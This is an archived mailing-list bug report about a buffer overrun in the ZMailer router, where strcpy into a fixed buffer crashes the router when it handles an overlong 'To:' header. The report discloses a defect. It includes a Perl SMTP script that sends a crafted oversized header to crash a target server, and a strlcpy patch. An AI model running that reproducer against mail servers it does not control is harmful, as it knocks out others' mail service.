[Raw Msg Headers][Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

buffer overrun in bind db



Zmailer version: 2.99.56-pre1
OS: FreeBSD 4.5-RELEASE i386, FreeBSD 3.4-RELEASE i386

Router subsystem crashes while processing messages with very long 'To:'
header with '\n' chars in.  This long headers may appear when quotation
symbol missed (square bracket). Whole part after left square bracket may
treated as host name (more longer than MAXNAME). This hostname passed to
search_res for resolving. After error occured this hostname copied into
staticaly allocated fixed size buffer h_errhost. Router segmentation
violation.

Maybe such combination of static buffer and strcpy can appear in other
parts of zmailer source tree.

Real-life letter that cause router crash may be found at 
http://www.lipetsk.ru/~rabbit/10866-42168


Simple script to reproduce bug
=====================================================================
#!/usr/bin/perl -w
use strict;
use Net::SMTP ();
use Net::Domain ();
use Socket;

my $host = $ARGV[0] || 'localhost';

my $smtp = Net::SMTP->new ($host, Timeout => 20, Debug => 0);

my $peerhost = gethostbyaddr ($smtp->peeraddr(), AF_INET) || "[" . inet_ntoa ($smtp->peeraddr ()) . "]";
my $myhost = Net::Domain::hostfqdn ();

my $from = "nobody@" . $myhost;
my $to = "postmaster@" . $peerhost;
$from = $to;

my $x = 'x' x 2000;
my $xx = "\t" . $x . "\n";
my $data = 'To: <x@[' . "\n" . $xx x 10;

$smtp->mail($from);
$smtp->to ($to);
$smtp->data ();
$smtp->datasend ($data);
$smtp->quit ();
=====================================================================


Sample FreeBSD patch:
=====================================================================
--- router/libdb/bind.c.orig	Fri Jan 25 21:04:52 2002
+++ router/libdb/bind.c	Fri Jan 25 21:07:18 2002
@@ -351,7 +351,7 @@
 	  fprintf(stderr,
 		  "search_res: CNAME chain length exceeded (%s)\n",
 		  host);
-	  strcpy(h_errhost, host);
+	  strlcpy(h_errhost, host, sizeof (h_errhost));
 	  h_errno = TRY_AGAIN;
 	  return NULL;
 	}
@@ -359,7 +359,7 @@
 			   (void *)&buf, sizeof(buf));
 	if (qlen < 0) {
 		fprintf(stderr, "search_res: res_mkquery (%s) failed\n", host);
-		strcpy(h_errhost, host);
+		strlcpy(h_errhost, host, sizeof (h_errhost));
 		h_errno = NO_RECOVERY;
 		return NULL;
 	}
@@ -371,7 +371,7 @@
 	    if (D_bind || _res.options & RES_DEBUG)
 	      fprintf(stderr,
 		      "search_res: res_send (%s) failed\n", host);
-	    strcpy(h_errhost, host);
+	    strlcpy(h_errhost, host, sizeof (h_errhost));
 	    h_errno = TRY_AGAIN;
 	    return NULL;
 	  }
@@ -393,7 +393,7 @@
 				h_errno = HOST_NOT_FOUND;
 				return NULL;
 			case SERVFAIL:
-				strcpy(h_errhost, host);
+				strlcpy(h_errhost, host, sizeof (h_errhost));
 				h_errno = TRY_AGAIN;
 				return NULL;
 			case NOERROR:
@@ -403,7 +403,7 @@
 			case FORMERR:
 			case NOTIMP:
 			case REFUSED:
-				strcpy(h_errhost, host);
+				strlcpy(h_errhost, host, sizeof (h_errhost));
 				h_errno = NO_RECOVERY;
 				return NULL;
 		}
@@ -590,7 +590,7 @@
 		fprintf(stderr,
 			"search_res: CNAME chain length exceeded (%s)\n",
 			host);
-		strcpy(h_errhost, host);	/* use strcat on purpose */
+		strlcpy(h_errhost, host, sizeof (h_errhost));	/* use strcat on purpose */
 		h_errno = TRY_AGAIN;
 		return NULL;
 	}
@@ -609,7 +609,7 @@
 		if (rval != NULL)
 			return rval;
 	}
-	strcpy(h_errhost, host);
+	strlcpy(h_errhost, host, sizeof (h_errhost));
 	return NULL;
 }
 
@@ -636,7 +636,7 @@
 		fprintf(stderr,
 			"search_res: CNAME chain length exceeded (%s)\n",
 			host);
-		strcpy(h_errhost, host);	/* use strcat on purpose */
+		strlcpy(h_errhost, host, sizeof (h_errhost));	/* use strcat on purpose */
 		h_errno = TRY_AGAIN;
 		return NULL;
 	}
@@ -647,7 +647,7 @@
 		if (D_bind || _res.options & RES_DEBUG)
 			fprintf(stderr,
 				"search_res: res_mkquery (%s) failed\n", host);
-		strcpy(h_errhost, host);
+		strlcpy(h_errhost, host, sizeof (h_errhost));
 		h_errno = NO_RECOVERY;
 		return NULL;
 	}
@@ -659,7 +659,7 @@
 	    if (D_bind || _res.options & RES_DEBUG)
 	      fprintf(stderr,
 		      "search_res: res_send (%s) failed\n", host);
-	    strcpy(h_errhost, host);
+	    strlcpy(h_errhost, host, sizeof (h_errhost));
 	    h_errno = TRY_AGAIN;
 	    return NULL;
 	  }
=====================================================================

-
To unsubscribe from this list: send the line "unsubscribe zmailer" in
the body of a message to majordomo@nic.funet.fi